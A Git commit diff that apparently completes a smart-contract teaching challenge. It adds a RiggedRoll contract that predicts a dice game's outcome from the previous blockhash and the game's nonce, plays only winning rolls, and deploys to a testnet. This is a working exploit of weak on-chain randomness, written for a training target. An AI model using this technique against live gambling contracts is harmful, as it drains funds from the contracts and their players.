feat: finish challenge
Some checks failed
Lint / ci (lts/*, ubuntu-latest) (push) Has been cancelled
Some checks failed
Lint / ci (lts/*, ubuntu-latest) (push) Has been cancelled
This commit is contained in:
@@ -11,6 +11,9 @@ contract RiggedRoll is Ownable {
|
||||
/////////////////
|
||||
|
||||
// Errors go here...
|
||||
error NotEnoughETH(uint256 required, uint256 available);
|
||||
error NotWinningRoll(uint256 roll);
|
||||
error InsufficientBalance(uint256 requested, uint256 available);
|
||||
|
||||
//////////////////////
|
||||
/// State Variables //
|
||||
@@ -31,4 +34,29 @@ contract RiggedRoll is Ownable {
|
||||
///////////////////
|
||||
|
||||
// Functions go here...
|
||||
function riggedRoll() public {
|
||||
uint256 required = 0.002 ether;
|
||||
|
||||
uint256 balance = address(this).balance;
|
||||
if (balance < required) revert NotEnoughETH(required, balance);
|
||||
|
||||
// calculate
|
||||
bytes32 prevHash = blockhash(block.number - 1);
|
||||
bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));
|
||||
uint256 roll = uint256(hash) % 16;
|
||||
|
||||
if (roll > 5) revert NotWinningRoll(roll);
|
||||
|
||||
diceGame.rollTheDice{value: required}();
|
||||
}
|
||||
|
||||
function withdraw(address _addr, uint256 _amount) public onlyOwner {
|
||||
uint256 balance = address(this).balance;
|
||||
if (balance < _amount) revert InsufficientBalance(_amount, balance);
|
||||
|
||||
(bool sent,) = payable(_addr).call{value: _amount}("");
|
||||
require(sent, "failed to transfer");
|
||||
}
|
||||
|
||||
receive() external payable {}
|
||||
}
|
||||
|
||||
@@ -11,21 +11,21 @@ const deployRiggedRoll: DeployFunction = async function (hre: HardhatRuntimeEnvi
|
||||
const diceGameAddress = await diceGame.getAddress();
|
||||
|
||||
// Uncomment to deploy RiggedRoll contract
|
||||
// await deploy("RiggedRoll", {
|
||||
// from: deployer,
|
||||
// log: true,
|
||||
// args: [diceGameAddress],
|
||||
// autoMine: true,
|
||||
// });
|
||||
await deploy("RiggedRoll", {
|
||||
from: deployer,
|
||||
log: true,
|
||||
args: [diceGameAddress],
|
||||
autoMine: true,
|
||||
});
|
||||
|
||||
// const riggedRoll: RiggedRoll = await ethers.getContract("RiggedRoll", deployer);
|
||||
const riggedRoll: RiggedRoll = await ethers.getContract("RiggedRoll", deployer);
|
||||
|
||||
// Please replace the text "Your Address" with your own address.
|
||||
// try {
|
||||
// await riggedRoll.transferOwnership("Your Address");
|
||||
// } catch (err) {
|
||||
// console.log(err);
|
||||
// }
|
||||
try {
|
||||
await riggedRoll.transferOwnership("0xD70D3fC875061A950d61cD5CDACb4aE4bF90608A");
|
||||
} catch (err) {
|
||||
console.log(err);
|
||||
}
|
||||
};
|
||||
|
||||
export default deployRiggedRoll;
|
||||
|
||||
1
packages/hardhat/deployments/sepolia/.chainId
Normal file
1
packages/hardhat/deployments/sepolia/.chainId
Normal file
@@ -0,0 +1 @@
|
||||
11155111
|
||||
174
packages/hardhat/deployments/sepolia/DiceGame.json
Normal file
174
packages/hardhat/deployments/sepolia/DiceGame.json
Normal file
File diff suppressed because one or more lines are too long
295
packages/hardhat/deployments/sepolia/RiggedRoll.json
Normal file
295
packages/hardhat/deployments/sepolia/RiggedRoll.json
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -37,7 +37,7 @@ const config: HardhatUserConfig = {
|
||||
},
|
||||
],
|
||||
},
|
||||
defaultNetwork: "localhost",
|
||||
defaultNetwork: "sepolia", //"localhost",
|
||||
namedAccounts: {
|
||||
deployer: {
|
||||
// By default, it will take the first Hardhat account as the deployer
|
||||
|
||||
Reference in New Issue
Block a user